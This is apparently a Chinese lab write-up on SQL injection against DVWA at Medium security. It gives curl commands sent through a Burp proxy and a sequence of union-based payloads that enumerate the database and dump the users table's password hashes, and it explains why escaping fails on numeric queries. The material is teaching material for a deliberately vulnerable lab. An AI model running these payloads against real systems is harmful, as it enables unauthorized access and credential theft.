Medium 的变化

DVWA Medium 相比 Low 加了三道防线:

防线 Low Medium 有效吗
输入方式 文本框 下拉菜单(1-5) ⚠️ 前端限制,可绕过
请求方式 GET POST ⚠️ 换种发请求的方式
后端过滤 mysqli_real_escape_string() 转义 ' ❌ 数字型没有引号可转

关键发现:Medium 后端 SQL 是数字型——WHERE user_id = 1,没有单引号包裹参数。


绕过下拉菜单:curl + Burp Suite 代理

环境

Kali Firefox → Burp Suite (127.0.0.1:8081) → DVWA (127.0.0.1:8080)
SSH 隧道:Kali 8080 → mycvm 127.0.0.1:8080(DVWA 容器)
Burp 代理:Kali 8081 → 截获/修改请求 → 转发到 8080

Burp Suite 配置

  1. Kali 桌面搜 burp → Burp Suite Community → Temporary project → Use Burp defaults → Start
  2. Proxy → Options → Proxy Listeners → 确认/添加 127.0.0.1:8081
  3. Firefox → Settings → Network Settings → Manual proxy → 127.0.0.1:8081 → 勾选 “Also use this proxy for HTTPS”

用 curl 绕过下拉菜单

DVWA Medium 的 SQL Injection 使用 POST 请求。curl 直接发 POST,不受前端下拉菜单限制:

curl -s -x http://127.0.0.1:8081 \
  "http://127.0.0.1:8080/vulnerabilities/sqli/" \
  -b "PHPSESSID=xxx; security=medium" \
  -d "id=1&Submit=Submit"

其中 -x 指定 Burp 代理,-b 携带登录 cookie,-d 是 POST 数据体。


注入流程

第一步:确认注入点 — 1 or 1=1

Medium 是数字型,不需要闭合引号。直接测试:

输入:id=1 or 1=1
curl -s -x http://127.0.0.1:8081 \
  "http://127.0.0.1:8080/vulnerabilities/sqli/" \
  -b "PHPSESSID=xxx; security=medium" \
  -d "id=1 or 1=1&Submit=Submit" | grep -oP '<pre>.*?</pre>'

返回:全部五个用户(admin、Gordon、Hack、Pablo、Bob)。注入成功。

mysqli_real_escape_string() 转义的是 ',但数字型 SQL 根本没有引号—— 防御完全打在空气上。

第二步:猜列数 — ORDER BY

id=1 order by 2   → 正常
id=1 order by 3   → Unknown column '3' in 'order clause'

列数 = 2。

第三步:确认显示位置

id=1 union select 1,2
返回:
First name: admin  Surname: admin    ← 原始查询
First name: 1      Surname: 2        ← 注入数据显示在两列

第四步:查库名

id=1 union select database(),2
返回:First name: dvwa

第五步:查表名

id=1 union select group_concat(table_name),2
     from information_schema.tables
     where table_schema=database()
返回:First name: guestbook,users

第六步:脱裤

id=1 union select user,password from users
user     | password
─────────┼──────────────────────────────────
admin    | 5f4dcc3b5aa765d61d8327deb882cf99
gordonb  | e99a18c428cb38d5f260853678922e03
1337     | 8d3533d75ae2c3966d7e0d4fcc69216b
pablo    | 0d107d09f5bbe40cade3de5c71e9e9b7
smithy   | 5f4dcc3b5aa765d61d8327deb882cf99

curl 命令逐字拆解

Medium 的每条 curl 命令结构都是一样的。以查库名那条为例:

curl -s -x http://127.0.0.1:8081 \
  "http://127.0.0.1:8080/vulnerabilities/sqli/" \
  -b "PHPSESSID=xxx; security=medium" \
  -d "id=1 union select database(),2&Submit=Submit"

参数逐个拆

参数 含义 为什么需要
curl 命令行 HTTP 客户端 用它在终端发请求,不需要浏览器
-s silent,安静模式 不显示进度条,只显示响应内容
-x http://127.0.0.1:8081 proxy,走代理 请求经过 Burp Suite(8081),Burp 记录流量后转发给 DVWA(8080)
"http://127.0.0.1:8080/vulnerabilities/sqli/" 目标 URL DVWA SQL 注入页面的地址
-b "PHPSESSID=xxx; security=medium" cookie 证明"我已经登录了,安全等级是 Medium"(详见下一节)
-d "id=1...&Submit=Submit" data,POST 请求体 Medium 用 POST 接收参数。id= 是注入点,Submit=Submit 是提交按钮的名字

-d 参数的来源

DVWA Medium 页面提交时,浏览器实际发送的是一个 POST 请求,请求体格式是:

id=1&Submit=Submit

id=1 是用户输入的值,Submit=Submit 是表单按钮的键值对。-d 就是模拟这个 POST 请求体。& 分隔多个参数,跟 URL 里的 ?a=1&b=2 一个道理,只不过 POST 把参数放在请求体内而不是 URL 后面。

把这个命令翻译成人话

curl,安静地,通过 8081 端口的 Burp 代理,向 127.0.0.1:8080 的 DVWA SQL 注入页面发一个 POST 请求,带上"已登录、安全等级 Medium"的 cookie,POST 数据体里放我的注入 payload。

每条注入命令只改 -d 里的 id= 后面的内容

# 探测注入点
-d "id=1 or 1=1&Submit=Submit"

# 猜列数
-d "id=1 order by 2&Submit=Submit"

# 确认显示位置
-d "id=1 union select 1,2&Submit=Submit"

# 查库名
-d "id=1 union select database(),2&Submit=Submit"

# 查表名
-d "id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()&Submit=Submit"

# 脱裤
-d "id=1 union select user,password from users&Submit=Submit"

模板固定,只要改 id= 后面的 SQL 片段即可。 考试和实战中用脚本自动化时也是这样——循环改 id= 的值,curl 模板不变。


HTTP 本身是无状态的——服务器不记得"上一个请求是谁发的"。每次请求都是新的。

请求 1:curl http://dvwa/ → 登录页面
请求 2:curl http://dvwa/ → 还是登录页面(服务器不认识你,因为你没带任何身份信息)
请求 1:登录 → 服务器验证账号密码正确 → 服务器生成一个随机串 PHPSESSID=09js6r...
        → 把这个串返回给浏览器

请求 2:浏览器请求 http://dvwa/sqli/ → 自动在请求头里带上 Cookie: PHPSESSID=09js6r...
        → 服务器看到这个 cookie → "哦,是你,已经登录了" → 返回数据

Cookie = 服务器发给你的"临时身份证"。 后续每个请求你都把这个证带在身上,服务器就认识你。

我们用 -b 带了两个:

cookie 含义
PHPSESSID 09js6r8eeo4js3jpal9evjnd06 会话 ID——证明"我已经登录了"。登录后服务器分配,30 分钟不活动会失效。
security medium 安全等级——告诉 DVWA"我选了 Medium"。没有这个的话,即使你带对了 PHPSESSID,SQL 注入页面可能按 Low 等级处理。

在 Firefox 里登录 DVWA、把 Security 调成 Medium 后,F12 → Storage → Cookies → http://127.0.0.1:8080 → 直接看到所有 cookie 的名字和值。复制到 curl 的 -b 参数里就行。

PHPSESSID 每次登录会变——下次失效时重新在 F12 里复制。

curl http://127.0.0.1:8080/vulnerabilities/sqli/ -d "id=1&Submit=Submit"
# 服务器:你是谁?没登录 → 返回 302 重定向 → 跳转到登录页
# 你看不到任何数据

Low vs Medium 对比

Low(1) Medium(2)
注入类型 字符型 数字型
后端 SQL WHERE user_id = '1' WHERE user_id = 1
需要闭合引号 1' ... # ❌ 不需要
需要注释符 # 吞后引号 ❌ 没有后引号可吞
防御手段 mysqli_real_escape_string() → 对数字型无效
前端限制 下拉菜单 → curl 绕过
请求方式 GET POST → curl -d 参数
Payload 1' or '1'='1' # 1 or 1=1

核心教训

mysqli_real_escape_string() 只对字符型查询有效。 如果后端 SQL 没有用引号包裹参数(数字型),转义函数形同虚设。一条经验法则:先判断注入类型——数字型不需要 ',绕过转义的复杂度直接降为零。

为什么不用 Burp Intercept 直接改请求

Firefox 对 127.0.0.1 默认不经过代理,且 Intercept 模式会截住所有请求(包括 Firefox 后台服务),干扰大。curl + Burp 代理模式更干净——不拦截请求,只让 Burp 充当"旁观记录"的角色,curl 充当"发请求的手"。Burp 的 HTTP History 标签可以查看所有请求/响应。


上一篇:SQL 注入 Low(1)
下一篇:DVWA High — 更复杂的过滤与绕过